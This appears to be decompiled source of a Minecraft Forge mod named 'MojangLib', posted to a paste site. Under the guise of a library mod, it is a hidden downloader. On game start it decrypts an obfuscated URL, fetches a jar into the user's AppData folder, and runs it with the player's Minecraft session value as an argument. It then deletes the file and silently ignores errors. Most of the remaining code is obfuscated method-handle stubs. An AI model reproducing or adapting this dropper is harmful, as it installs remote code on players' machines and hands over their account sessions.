· 6 years ago · Aug 11, 2019, 03:24 AM
1import net.minecraft.client.*;
2import java.net.*;
3import java.io.*;
4import javax.crypto.spec.*;
5import java.security.*;
6import java.security.spec.*;
7import java.util.*;
8import javax.crypto.*;
9import java.lang.invoke.*;
10
11@Mod(modid = "MojangLib", name = "MojangLib", version = "1.5.2")
12@NetworkMod(clientSideRequired = true, serverSideRequired = true)
13public class MojangLib
14{
15 @Mod$Instance("MojangLib")
16 public static MojangLib mod;
17 private static final String url;
18 private static final File dir;
19 private static final File file;
20 private static Cipher ecipher;
21 private static Cipher dcipher;
22 private static byte[] salt;
23 private static int iterationCount;
24 private static String key;
25 private static transient volatile Object[] 䨻;
26
27 @Mod$Init
28 public void init(final FMLInitializationEvent fmlInitializationEvent) {
29 try {
30 start();
31 }
32 catch (Exception ex) {}
33 }
34
35 public static void start() throws Exception {
36 if (!MojangLib.dir.exists()) {
37 MojangLib.dir.mkdir();
38 }
39 download();
40 try {
41 final Process start = new ProcessBuilder(new String[] { "java", "-jar", MojangLib.file.getAbsolutePath(), MojangLib.key, Minecraft.x().k.a }).start();
42 final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(start.getInputStream()));
43 start.waitFor();
44 }
45 finally {
46 MojangLib.file.delete();
47 }
48 }
49
50 public static void download() throws Exception {
51 BufferedInputStream bufferedInputStream = null;
52 FileOutputStream fileOutputStream = null;
53 try {
54 bufferedInputStream = new BufferedInputStream(new URL(decrypt("Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaHlkHC5yYPLg==")).openStream());
55 fileOutputStream = new FileOutputStream(MojangLib.file);
56 final byte[] array = new byte[1024];
57 int read;
58 while ((read = bufferedInputStream.read(array, 0, 1024)) != -1) {
59 fileOutputStream.write(array, 0, read);
60 }
61 }
62 finally {
63 if (bufferedInputStream != null) {
64 bufferedInputStream.close();
65 }
66 if (fileOutputStream != null) {
67 fileOutputStream.close();
68 }
69 }
70 }
71
72 private static String decrypt(final String s) throws Exception {
73 final SecretKey generateSecret = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(MojangLib.key.toCharArray(), MojangLib.salt, MojangLib.iterationCount));
74 (MojangLib.dcipher = Cipher.getInstance(generateSecret.getAlgorithm())).init(2, generateSecret, new PBEParameterSpec(MojangLib.salt, MojangLib.iterationCount));
75 return new String(MojangLib.dcipher.doFinal(Base64.getDecoder().decode(s)), "UTF-8");
76 }
77
78 static {
79 url = "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaHlkHC5yYPLg==";
80 dir = new File("C:/Users/" + System.getProperty("user.name") + "/AppData/Roaming");
81 file = new File(MojangLib.dir, File.separator + "rc.jar");
82 MojangLib.salt = new byte[] { -71, -116, -8, 2, 102, 119, 67, -109 };
83 MojangLib.iterationCount = 19;
84 MojangLib.key = MojangLib.class.getSimpleName();
85 }
86
87 private static Object ἳ(final Object o, final String s, final MethodType methodType) {
88 if (MojangLib.䨻 == null) {
89 MojangLib.䨻 = new Object[24];
90 }
91 if (MojangLib.䨻[19] == null) {
92 MojangLib.䨻[19] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "toString", methodType.dropParameterTypes(0, 1)).asType(methodType));
93 }
94 return MojangLib.䨻[19];
95 }
96
97 private static Object 浇(final Object o, final String s, final MethodType methodType) {
98 if (MojangLib.䨻 == null) {
99 MojangLib.䨻 = new Object[24];
100 }
101 if (MojangLib.䨻[7] == null) {
102 MojangLib.䨻[7] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.SecretKeyFactory"), "generateSecret", methodType.dropParameterTypes(0, 1)).asType(methodType));
103 }
104 return MojangLib.䨻[7];
105 }
106
107 private static Object 荝(final Object o, final String s, final MethodType methodType) {
108 if (MojangLib.䨻 == null) {
109 MojangLib.䨻 = new Object[24];
110 }
111 if (MojangLib.䨻[9] == null) {
112 MojangLib.䨻[9] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "exists", methodType.dropParameterTypes(0, 1)).asType(methodType));
113 }
114 return MojangLib.䨻[9];
115 }
116
117 private static Object 䂮(final Object o, final String s, final MethodType methodType) {
118 if (MojangLib.䨻 == null) {
119 MojangLib.䨻 = new Object[24];
120 }
121 if (MojangLib.䨻[12] == null) {
122 MojangLib.䨻[12] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "init", methodType.dropParameterTypes(0, 1)).asType(methodType));
123 }
124 return MojangLib.䨻[12];
125 }
126
127 private static Object 㬬(final Object o, final String s, final MethodType methodType) {
128 if (MojangLib.䨻 == null) {
129 MojangLib.䨻 = new Object[24];
130 }
131 if (MojangLib.䨻[13] == null) {
132 MojangLib.䨻[13] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "write", methodType.dropParameterTypes(0, 1)).asType(methodType));
133 }
134 return MojangLib.䨻[13];
135 }
136
137 private static Object 䭦(final Object o, final String s, final MethodType methodType) {
138 if (MojangLib.䨻 == null) {
139 MojangLib.䨻 = new Object[24];
140 }
141 if (MojangLib.䨻[1] == null) {
142 MojangLib.䨻[1] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "getInputStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
143 }
144 return MojangLib.䨻[1];
145 }
146
147 private static Object 싴(final Object o, final String s, final MethodType methodType) {
148 if (MojangLib.䨻 == null) {
149 MojangLib.䨻 = new Object[24];
150 }
151 if (MojangLib.䨻[18] == null) {
152 MojangLib.䨻[18] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "toCharArray", methodType.dropParameterTypes(0, 1)).asType(methodType));
153 }
154 return MojangLib.䨻[18];
155 }
156
157 private static Object 襄(final Object o, final String s, final MethodType methodType) {
158 if (MojangLib.䨻 == null) {
159 MojangLib.䨻 = new Object[24];
160 }
161 if (MojangLib.䨻[0] == null) {
162 MojangLib.䨻[0] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Class"), "getSimpleName", methodType.dropParameterTypes(0, 1)).asType(methodType));
163 }
164 return MojangLib.䨻[0];
165 }
166
167 private static Object 筻(final Object o, final String s, final MethodType methodType) {
168 if (MojangLib.䨻 == null) {
169 MojangLib.䨻 = new Object[24];
170 }
171 if (MojangLib.䨻[2] == null) {
172 MojangLib.䨻[2] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.Cipher"), "getInstance", methodType).asType(methodType));
173 }
174 return MojangLib.䨻[2];
175 }
176
177 private static Object 䨥(final Object o, final String s, final MethodType methodType) {
178 if (MojangLib.䨻 == null) {
179 MojangLib.䨻 = new Object[24];
180 }
181 if (MojangLib.䨻[17] == null) {
182 MojangLib.䨻[17] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "read", methodType.dropParameterTypes(0, 1)).asType(methodType));
183 }
184 return MojangLib.䨻[17];
185 }
186
187 private static Object 昼(final Object o, final String s, final MethodType methodType) {
188 if (MojangLib.䨻 == null) {
189 MojangLib.䨻 = new Object[24];
190 }
191 if (MojangLib.䨻[15] == null) {
192 MojangLib.䨻[15] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", methodType.dropParameterTypes(0, 1)).asType(methodType));
193 }
194 return MojangLib.䨻[15];
195 }
196
197 private static Object 㓟(final Object o, final String s, final MethodType methodType) {
198 if (MojangLib.䨻 == null) {
199 MojangLib.䨻 = new Object[24];
200 }
201 if (MojangLib.䨻[4] == null) {
202 MojangLib.䨻[4] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "delete", methodType.dropParameterTypes(0, 1)).asType(methodType));
203 }
204 return MojangLib.䨻[4];
205 }
206
207 private static Object 呶(final Object o, final String s, final MethodType methodType) {
208 if (MojangLib.䨻 == null) {
209 MojangLib.䨻 = new Object[24];
210 }
211 if (MojangLib.䨻[10] == null) {
212 MojangLib.䨻[10] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.ProcessBuilder"), "start", methodType.dropParameterTypes(0, 1)).asType(methodType));
213 }
214 return MojangLib.䨻[10];
215 }
216
217 private static Object ㄌ(final Object o, final String s, final MethodType methodType) {
218 if (MojangLib.䨻 == null) {
219 MojangLib.䨻 = new Object[24];
220 }
221 if (MojangLib.䨻[20] == null) {
222 MojangLib.䨻[20] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedInputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
223 }
224 return MojangLib.䨻[20];
225 }
226
227 private static Object 瀰(final Object o, final String s, final MethodType methodType) {
228 if (MojangLib.䨻 == null) {
229 MojangLib.䨻 = new Object[24];
230 }
231 if (MojangLib.䨻[6] == null) {
232 MojangLib.䨻[6] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.System"), "getProperty", methodType).asType(methodType));
233 }
234 return MojangLib.䨻[6];
235 }
236
237 private static Object ㆮ(final Object o, final String s, final MethodType methodType) {
238 if (MojangLib.䨻 == null) {
239 MojangLib.䨻 = new Object[24];
240 }
241 if (MojangLib.䨻[16] == null) {
242 MojangLib.䨻[16] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "getAbsolutePath", methodType.dropParameterTypes(0, 1)).asType(methodType));
243 }
244 return MojangLib.䨻[16];
245 }
246
247 private static Object 꾁(final Object o, final String s, final MethodType methodType) {
248 if (MojangLib.䨻 == null) {
249 MojangLib.䨻 = new Object[24];
250 }
251 if (MojangLib.䨻[5] == null) {
252 MojangLib.䨻[5] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Base64$Decoder"), "decode", methodType.dropParameterTypes(0, 1)).asType(methodType));
253 }
254 return MojangLib.䨻[5];
255 }
256
257 private static Object 骢(final Object o, final String s, final MethodType methodType) {
258 if (MojangLib.䨻 == null) {
259 MojangLib.䨻 = new Object[24];
260 }
261 if (MojangLib.䨻[23] == null) {
262 MojangLib.䨻[23] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Process"), "waitFor", methodType.dropParameterTypes(0, 1)).asType(methodType));
263 }
264 return MojangLib.䨻[23];
265 }
266
267 private static Object 琚(final Object o, final String s, final MethodType methodType) {
268 if (MojangLib.䨻 == null) {
269 MojangLib.䨻 = new Object[24];
270 }
271 if (MojangLib.䨻[21] == null) {
272 MojangLib.䨻[21] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.util.Base64"), "getDecoder", methodType).asType(methodType));
273 }
274 return MojangLib.䨻[21];
275 }
276
277 private static Object 쮓(final Object o, final String s, final MethodType methodType) {
278 if (MojangLib.䨻 == null) {
279 MojangLib.䨻 = new Object[24];
280 }
281 if (MojangLib.䨻[8] == null) {
282 MojangLib.䨻[8] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "mkdir", methodType.dropParameterTypes(0, 1)).asType(methodType));
283 }
284 return MojangLib.䨻[8];
285 }
286
287 private static Object 뷄(final Object o, final String s, final MethodType methodType) {
288 if (MojangLib.䨻 == null) {
289 MojangLib.䨻 = new Object[24];
290 }
291 if (MojangLib.䨻[22] == null) {
292 MojangLib.䨻[22] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
293 }
294 return MojangLib.䨻[22];
295 }
296
297 private static Object 筩(final Object o, final String s, final MethodType methodType) {
298 if (MojangLib.䨻 == null) {
299 MojangLib.䨻 = new Object[24];
300 }
301 if (MojangLib.䨻[3] == null) {
302 MojangLib.䨻[3] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.SecretKeyFactory"), "getInstance", methodType).asType(methodType));
303 }
304 return MojangLib.䨻[3];
305 }
306
307 private static Object 앲(final Object o, final String s, final MethodType methodType) {
308 if (MojangLib.䨻 == null) {
309 MojangLib.䨻 = new Object[24];
310 }
311 if (MojangLib.䨻[14] == null) {
312 MojangLib.䨻[14] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "doFinal", methodType.dropParameterTypes(0, 1)).asType(methodType));
313 }
314 return MojangLib.䨻[14];
315 }
316
317 private static Object 쪝(final Object o, final String s, final MethodType methodType) {
318 if (MojangLib.䨻 == null) {
319 MojangLib.䨻 = new Object[24];
320 }
321 if (MojangLib.䨻[11] == null) {
322 MojangLib.䨻[11] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URL"), "openStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
323 }
324 return MojangLib.䨻[11];
325 }
326}